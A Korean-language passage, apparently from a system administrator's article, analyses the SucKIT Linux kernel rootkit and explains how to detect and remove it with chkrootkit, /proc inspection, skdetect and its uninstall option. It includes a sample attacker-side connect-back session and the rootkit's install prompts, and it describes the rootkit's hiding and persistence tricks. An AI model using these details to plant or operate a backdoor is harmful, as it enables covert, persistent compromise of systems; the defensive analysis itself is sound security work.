lsmod: QM_MODULES: Function not implemented
② reverse telnet의 일종인 connect back 기능을 제공한다.
suckit 이 설치되어 있는 시스템의 경우 connect back 을 이용하여 별도의 백도어 포트를
bind 하지 않아도 원격지에서 직접 접근 및 제어가 가능하다. 아래는 실제 작동 예이다.
(필자의 테스트 결과로는 성공하지 못했다.)
[root@attacker tmp]# ./xxxx -x 192.168.1.2
[===== SucKIT version 1.3a, Jul 26 2004 <http://sd.g-art.nl/sk>
=====]
[====== ⓒoded by sd <sd@cdi.cz> & devik <devik@cdi.cz>,
2002 ======]
Listening to port 34245
password: xxx
Trying 192.168.1.2:53...
connect: Connection refused
Trying 192.168.1.2:79...
connect: Connection refused
Trying 192.168.1.2:110...
connect: Connection refused
Trying 192.168.1.2:220...
connect: Connection refused
Trying 192.168.1.2:21...
connect: Connection refused
Trying 192.168.1.2:22...
Trying...
Server connected. Escape character is '^K'
[===== SucKIT version 1.3a, Jul 26 2004 <http://sd.g-art.nl/sk>
=====]
[====== ⓒoded by sd <sd@cdi.cz> & devik <devik@cdi.cz>,
2002 ======]
[root@hacked .sk12]# <-- 해킹된 시스템에 접속
③ 재부팅시에도 적용되기 위해 별도의 추가 설정이 필요 없다.
이 말은 엄밀히 말하면 정확한 표현은 아니다. 그러나 대부분의 kernel 기반 루트킷은
재부팅 이후에도 자동으로 실행을 위해 cron 에 설정하거나 /etc/* 내 특정 부팅
스크립트에 교묘하게 추가하는 형태이다. 하지만 이 방법은 rkhunter 와 같은 보안
프로그램을 이용하거나 세심한 관리자라면 rootkit 의 설치를 쉽게 알아낼 수 있게 되지만
suckit 은 다른 방식으로 작동하므로 실행 파일 자체를 보이지 않도록 하기 때문에
발견하기가 매우 어렵게 된다.
suckit 은 설치 과정에서 pid 1 번인 /sbin/init 를 변조하거나 이후에는 /dev/kmem 을
변조함으로써 system call 을 intercept 하게 된다. 이것이 바로 suckit 작동시 커널 모듈이
필요하지 않은 이유이기도 하다.
④ 특정 파일과 디렉토리, 특정 process 등을 숨기는 기능이 있다.
이는 다른 LKM 기반의 rootkit 에서도 제공되는 기능중 하나이며 lids 와 같은 보안
커널모듈에서도 제공되는 기본 기능이다. 이를 통해 공격자는 각종 루트킷이나 백도어등을
다소 안전하게(?) 감출 수 있는 것이다. 특히 특정 파일이나 디렉토리는 설치 과정에서
특정한 이름으로 끝나기만 하면 모두 보이지 않게 되고, 공격자가 지정한 특정 process 는
ps 나 netstat등 어떠한 시스템 명령어로도 보이지 않게 된다.
⑤ 기본적으로 sniffing 기능이 포함되어 있다.
sniffing 은 root 권한을 획득한 공격자의 전형적인 절차이다. 그러나 서버나 네트워크
관리자에게는 이만큼 치명적인 피해가 없는데, 별도의 설정 없이 suckit 을 실행하기만 하면
스니핑을 하게되며 테스트해 본 결과 telnet 접속만 스니핑하는 것 같다. 스니핑 파일은
설치 디렉토리에 .sniffer 파일로 저장된다.
⑥ 변형된 rootkit 이 나오고 있다.
suckit 의 기본 실행 파일은 줄임자인 sk 이다. suckit 의 홈페이지는 http://sd.gart.
nl/sk/으로 되어 있는데, 접속이 되지 않는 것으로 보아 현재는 개발이 중단된 것으로
보이며 1.3b 가 최종 버전인 것으로 파악된다. 그러나 이후 zk 등 변형된 rootkit 이 나오고
있으며 메일링리스트에 따르면 소스를 일부 수정하여 개인적으로 변형하여 사용되는 경우도
있다고 한다.


3. suckit 의 설치 디렉토리 및 파일


suckit 은 설치 과정에서 다음과 같은 절차가 있다. 여기에서 처음 입력하는 xxxxx 암호는
이후 connect back 을 통해 원격지에서 해킹된 시스템에 접근시 인증하는 암호이며
시스템의 실제 root 암호와는 무관하다. 따라서 suckit 루트킷이 설치된 후 root 암호를
변경한다 하더라도 루트킷을 삭제하지 않는 한 그다지 의미가 없다 하겠다.

Please enter new rootkit password:xxxxx
Again, just to be sure:xxxxx
OK, new password set.
Home directory [/usr/share/locale/sk/.sk12]:
Magic file-hiding suffix [sk12]:

그 다음 rootkit 이 설치되는 Home directory 는 기본적으로 /usr/share/locale/sk/.sk12/
가 된다. 물론 이는 기본 디렉토리이며 공격자가 다른 경로를 지정했다면 설치 경로는
달라질 수 있다. 이 경로는 이후 여러 가지 방법으로 추적할 수 있다.
다음 설정 부분이 바로 파일이나 디렉토리를 숨길 수 있는 부분으로 여기에서 지정한
문자로 끝나는 파일이나 디렉토리는 보이지 않게 된다. 즉, 위와 같이 sk12 로 지정하였을
경우 aaaask12 나 .11sk12 와 같은 디렉토리나 파일은 find 나 ls 등으로도 보이지 않게
된다. 물론 wwwsk12333 과 같이 sk12 가 중간에 들어간 파일이나 디렉토리는 보일
것이다.

참고로 suckit 은 /sbin/init 를 변조한다고 하였는데, 위에서 지정한 접미사로 /sbin/init 의
백도어 파일도 존재하게 된다. 즉, 접미사를 sk12 로 지정하였을 경우 /sbin/initsk12 라는
파일이 존재하게 되는 것이다. (이 파일이 suckit 백도어일 수도 있고, 원본 init 파일일
수도 있다.)

그렇다면 공격자는 재부팅시에도 suckit 루트킷이 자동 실행되도록 어떻게 지정할까?
먼저 공격자는 앞의 기능을 활용하여 /etc/rc.d/rc3.d/S98sk12 와 같은 파일을 만들어 둔다.
이러한 경우 파일이 보이지 않기 때문에 관리자의 눈에 보이지도 않으면서 재부팅시에도
원하는 명령어를 실행하도록 설정할 수 있을 것이다. 또는 /sbin/init 를 변조하였다면 이
binary 자체에 특정 경로의 파일을 자동 실행하도록 되어 있기 때문에 이 경로에 있는
스크립트를 이용해도 된다. 만약 기본 설정으로 설치했다면 /usr/share/locale/sk/.sk12/.rc
파일을 자동 실행하게 된다. 이 경로는 “strings /sbin/init” 명령어로 확인할 수 있다.
다음은 suckit rootkit 이 설치된 후 실행 파일인 s k 를 실행하였을 때 보이는 메뉴이다.
옵션에 따라 특정 파일이나 process 등을 보이게 하거나 보이지 않도록 할 수 있는 기능이
있다는 것을 알 수 있다.
[root@antihong /usr/share/locale/sk/.sk12]# ./sk
/dev/null
Detected version: 1.3b
use:
./sk <uivfp> [args]
u - uninstall
i - make pid invisible
v - make pid visible
f [0/1] - toggle file hiding
p [0/1] - toggle pid hiding



4. suckit 을 발견 및 삭제하는 방법

그렇다면 suckit 은 어떻게 발견할 수 있을까? 설치 과정에서 설치 경로나 hidden
접미사를 임의로 설정하였을 경우 실제로 찾기는 쉽지 않다. 제일 쉽고 좋은 방법은
chkrootkit (http://www.chkrootkit.org/)을 이용하는 방법이다.
(ckkrootkit 이용에 대해서는 필자의 저서 “리눅스 서버 보안관리 실무” 9 장에 자세히
설명되어 있다.)
chkrootkit 을 실행시 /sbin/init 가 INFECTED 라고 나온다면 99% suckit 일 가능성이
높으며 이때는 strings 로 원본의 깨끗한 /sbin/init 와 비교해 보면 설치 경로와 hiding
suffix 등을 확인할 수 있다. 또한 chkproc 를 실행시 hidden process 가 확인되면 다음과
같이 확인해 보기 바란다. (아래는 13524 가 hidden process 인 경우)
# ls -al /proc/13524
total 0
dr-xr-xr-x 3 root root 0 Feb 22 14:08 .
dr-xr-xr-x 79 root root 0 May 8 2004 ..
-r--r--r-- 1 root root 0 Feb 22 14:08 cmdline
lrwxrwxrwx 1 root root 0 Feb 22 14:08 cwd -> /
-r-------- 1 root root 0 Feb 22 14:08 environ
lrwxrwxrwx 1 root root 0 Feb 22 14:08 exe -> /usr/share/locale/sk/.sk12/sk
(deleted)
위의 경우 hidden process 의 경로가 기본 경로인 /usr/share/locale/sk/.sk12/ 인 것을 알
수 있다.
자. 그럼 suckit 이 설치되었을 경우 어떻게 조처하여야 할까?
① 혹시 모르니 먼저 데이터를 백업받기 바란다.
아울러 /sbin/init 파일도 /sbin/initbak 등과 같은 파일로 백업받기 바란다.
② rkhunter 등과 같은 보안 프로그램을 활용하여 다른 변조된 파일은 없는지 확인해
보기 바란다. 어떤 시스템의 경우 부팅 스크립트인
/etc/rc.d/init.d/syslog 파일에
/etc/locale/zh/LC_MESSAGES/initscclkkspps/utmpd.pidxlkkspps 와 같이 지정되어 있어
syslog 데몬 실행시 suckit 이 자동 실행되도록 설정한 경우도 있었다. (이러한
경우 hiding suffix 는 lkkspps 이었다.)
③ suckit 삭제툴을 이용한다.
suckit 을 삭제하는 방법은 두 가지가 있다.
suckit 자체적으로 지원되는 삭제 옵션을 이용하거나 전용 삭제툴을 이용하는 방법이다.
먼저 sk 를 그대로 이용하는 방법이다.
먼저 sk 실행 파일을 찾는다. 위와 같이 hidden process 를 찾아 경로를 확인하기 위해
실행했을 때 삭제된(deleted) 상태라면
# cp -a /proc/pid/exe /root/sk
와 같이 실행하면 해당 파일을 /root/sk 파일로 복원할 수 있다. 파일은 삭제되었어도
메모리상에는 그대로 존재하기 때문에 가능한 것이다.
이후 sk 를 실행시 아래와 같이 uninstall 의 의미인 u 옵션을 주어 실행하면 된다.
[root@antihong /usr/share/locale/sk/.sk12]# ./sk u
/dev/null
Detected version: 1.3b
Suckit uninstalled sucesfully!
suckit 이 process 에서 삭제된 것을 알 수 있다.
이후 만약 /sbin/init 가 변조되었다면 이 파일을 삭제하고 원본의 깨끗한 /sbin/init 로
덮어쓰거나 /sbin/initsk12 와 같이 숨김 상태로 있는 파일을 찾아 대체하면 된다.
두 번째는 skdetect라는 별도의 전용 삭제툴을 이용하는 방법이다.
이는 http://tsd.student.utwente.nl/skdetect/ 디렉토리에 접속하거나
http://tsd.student.utwente.nl/skdetect/skdetect-0.4b.tar.gz 파일을 직접 다운로드 해도
된다. 다운로드 및 압축을 해제하고 make all 로 컴파일하면 된다.
이후 아래와 같이 실행하기만 하면 되는데, 만약 suckit 이 process 상에 설치되어 있지
않다면 아래와 같이 보이게 된다.
[root@antihong ~/skdetect-0.4b]# ./skdetect
suckit rootkit not detected.
만약 설치되어 있었다면 아래와 같이 성공적으로 삭제되었다는 메시지가 보이게 된다.
이후, 위의 방법과 마찬가지로 /sbin/init 의 변조 여부를 확인한 후 적절히 처리하면 된다.
[root@antihong ~/skdetect-0.4b]# ./skdetect
suckit version '1.3b' DETECTED (0000013b), unloading kernel-part.
kernel-part uninstall seems succesful.


5. 결 론

지금까지 suckit 의 작동원리와 확인 및 삭제하는 방법에 대해 살펴보았는데, 그럼 suckit 과
같은 rootkit 에 대해 어떻게 대응하여야 할까?
① 커널에서 module 기능을 해제하고 사용한다.
이는 suckit rootkit 에 대한 대응 방법은 아니지만 이러한 경우 대부분의 LKM 기반의
커널 백도어에 대한 방어가 될 수 있다. 만약 module 기능을 해제하려면 커널
메뉴에서 Loadable module support ---> 선택후 [ ] Enable loadable module
support 와 같이 선택하지 않으면 된다.
② anti kernel 백도어 module 을 이용한다.
StMichael(http://sourceforge.net/projects/stjude/)등과 같이 kernel 백도어에 대응하기
위한 anti 모듈을 이용하는 방법도 있다. StMichael 의 경우 suckit 에 대해서도
잘 방어하는데, 만약 실행하기전 이미 suckit 이 작동중인 상태에서는 작동하지 않는다.
그러나 언제나 그러하듯 커널 모듈은 매우 critical 하므로 load 시에는 주의하여야 한다.
③ grsecurity 등의 security kernel 을 이용함으로써 /dev/kmem device 에 대한 write 기
능을 제한하도록 한다. 아직 사용해 보지는 않았지만 이러한 경우 몇몇 정상적인 서비
스에 장애가 발생할 수 있다고 한다.
그러나 가장 좋은 방법은 역시 꾸준한 관리와 관심으로 해킹을 당하지 않도록 하는 것이다.
그리고 해킹을 당했다고 해서 무조건 재설치가 능사는 아니다. 해킹을 당했다면 어떤
취약성을 통해 어떤 경로로 공격하게 되었는지 그리고 수법은 어떠한지 역추적하는 것이
매우 중요하다. 그래야만 이후에라도 더 큰 사고를 예방할 수 있기 때문이며 그렇지 않은
경우 재설치를 해도 다시 해킹을 당할 가능성이 있기 때문이다.
공격자 입장에서 시스템의 일반 유저 권한을 획득하는 것은 어려워도 이후 일반유저에서
root 권한을 획득하는 것은 그리 어렵지 않다. 따라서 쉬운 암호를 사용하는 계정은 없는지,
웹 해킹은 가능하지 않은지, 불필요한 서비스는 떠 있지 않은지등 기본적인 보안 설정부터
살펴보는 것이 보안의 왕도로 할 수 있을 것이다.
혹 잘못된 내용이나 추가될 내용 등이 있으면 언제든 메일(antihong@tt.co.kr) 을 주기
바란다
Trackback 0 : Comment 0